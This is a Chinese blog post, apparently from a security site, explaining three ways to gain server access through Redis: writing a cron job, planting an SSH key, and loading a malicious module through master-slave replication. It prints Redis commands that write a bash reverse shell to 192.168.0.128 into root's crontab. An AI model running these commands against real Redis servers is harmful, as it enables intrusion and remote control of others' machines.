当前位置: 首页 > news >正文

利用Redis获取权限的多种方式

更多实战内容,可前往无问社区查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/10333.html

Redis是我们在实战中经常接触到的一款数据库,因其在前期打点中被利用后可直接影响服务器安全所以在攻防过程中也备受红队关注,在本文中会重点分享一下与之有关的一些攻击技术,同时探究其中的技术原理。

注意:由于Redis的语法不同于其他数据库,所以更为详细的语法介绍建议各位前往Reids官网(https://redis.io/commands?from=QuickRedis)进行查阅。

方法1:创建计划任务反弹SHELL

957056c6a0fc03406f17ef2dcb353745.png

4d0bdb6583e51b6e5c4e5117242d21fe.png

执行命令:

config set dir /var/spool/cron 
set bmz "\n* * * * * bash -i >& /dev/tcp/192.168.0.128/7890 0>&1\n" 
config set dbfilename root 

8124c8be5581863bbe6a1466793c7c26.png

8ecf1e363c55f567d10a5eb8123c2236.png

查看系统的计划任务的时候能看到,已经新增了我们所添加的计划任务(因为文章分了两天写,网络环境有变动,所以下图的IP与端口与上文的不一致)。

7ef49149821e64adcfd65424bca992bb.png

为什么会这样?在进行这项攻击操作的时候前几项都是赋值的操作,只有最后的save命令比较可疑,在Redis的官网上是这么描述save命令的。

这些命令执行数据集的同步保存,生成 Redis 实例内所有数据的时间点快照,格式为 的 RDB 文件。SAVE

所以这里我们可以验证一下,定义多个变量然后save,查看下文件内容。

4a6f240b6253c6a1ffa98a197a2c1587.png

f2ab4d6f23cb5d139cea834df9f4bba7.png

能够看到我们的操作赋值已经全部写入了dbfilename变量指定的文件中。

清楚了这个情况之后,接下来所讲的通过写入ssh 公钥来获取主机访问权限就很容易理解了。

方法2:通过写入SSH公钥获取系统访问权限

在我们的攻击机上面生成后续需要上传到靶机的公钥

73fb800c0747c1277f355417c741f8f7.png

1b1018f618569adb80d044856a156dee.png

之后我们的攻击机即可远程登录靶机系统。

10018f89e3961b086b4e3a52bccdaafd.png

这个过程与方法一是完全一样的,所以依据这个原理我们便可以去尝试更多的利用方式了。

方法3:主从复制获取系统权限

主从复制利用了redis支持接受外部扩展以此来丰富所支持的命令的问题。通过伪造redis主服务器并在上面加载恶意外部扩展文件,向各个从服务器下发恶意外部扩展文件,这里的从服务器其实也就是我们所控制的安装了redis的服务器,当从服务器加载了外部扩展后,即可执行恶意外部扩展的代码,以下是提供的案例演示。

首先还是设置好我们的主目录以及恶意扩展的文件名,之后通过slaveof命令来连接我们伪造的主服务器。

a07427d40fe2ac97202939b66d3fa86a.png

主服务器的工作很简单,生成一个恶意外部扩展文件,并且运行监听程序即可。

8253f0169da435e41641f8558a21298a.png

加载我们的恶意外部扩展。

33fb1617a73b7a09019a32021e4dcbab.png

这个时候在redis中已经有了我们的扩展命令,可以执行我们想要执行的任何命令,当然也不必局限于执行命令,由于外部扩展代码使我们所定义的,所以也可以实现其他的功能。

93042d1edf4d72305637fa80e755fe27.png


http://www.mrgr.cn/news/2781.html

相关文章:

  • 支持最新 mysql9的workbench8.0.39 中文汉化教程来了
  • 数据结构-队列
  • 简述灰点工业相机的相关知识
  • 环形队列保护共享资源的可靠性
  • 掌静脉识别的相关研究论文为什么都没有公开源代码?
  • 培训学校课程管理系统-计算机毕设Java|springboot实战项目
  • Spark MLlib 特征工程系列—特征提取Word2Vec
  • StarRocks 存算分离 Compaction 原理
  • 2024.08.07校招 实习 内推 面经
  • roles以及想项目搭建
  • 数据结构----队列
  • Grafana指标汉化攻略:轻松实现中文可视化
  • 取证工具 ElcomSoft iOS Forensics Toolkit: 在 Windows 中加载 HFS 镜像
  • 第1章-02-Python环境安装与测试
  • 数字虚拟人原理
  • 44 个 React 前端面试问题
  • 自然语言处理实战项目30-基于RoBERTa模型的高精度的评论文本分类实战,详细代码复现可直接运行
  • 合并两个有序链表--力扣
  • 强化安全基线:反射API与最小权限原则
  • 使用docker compose一键部署 Portainer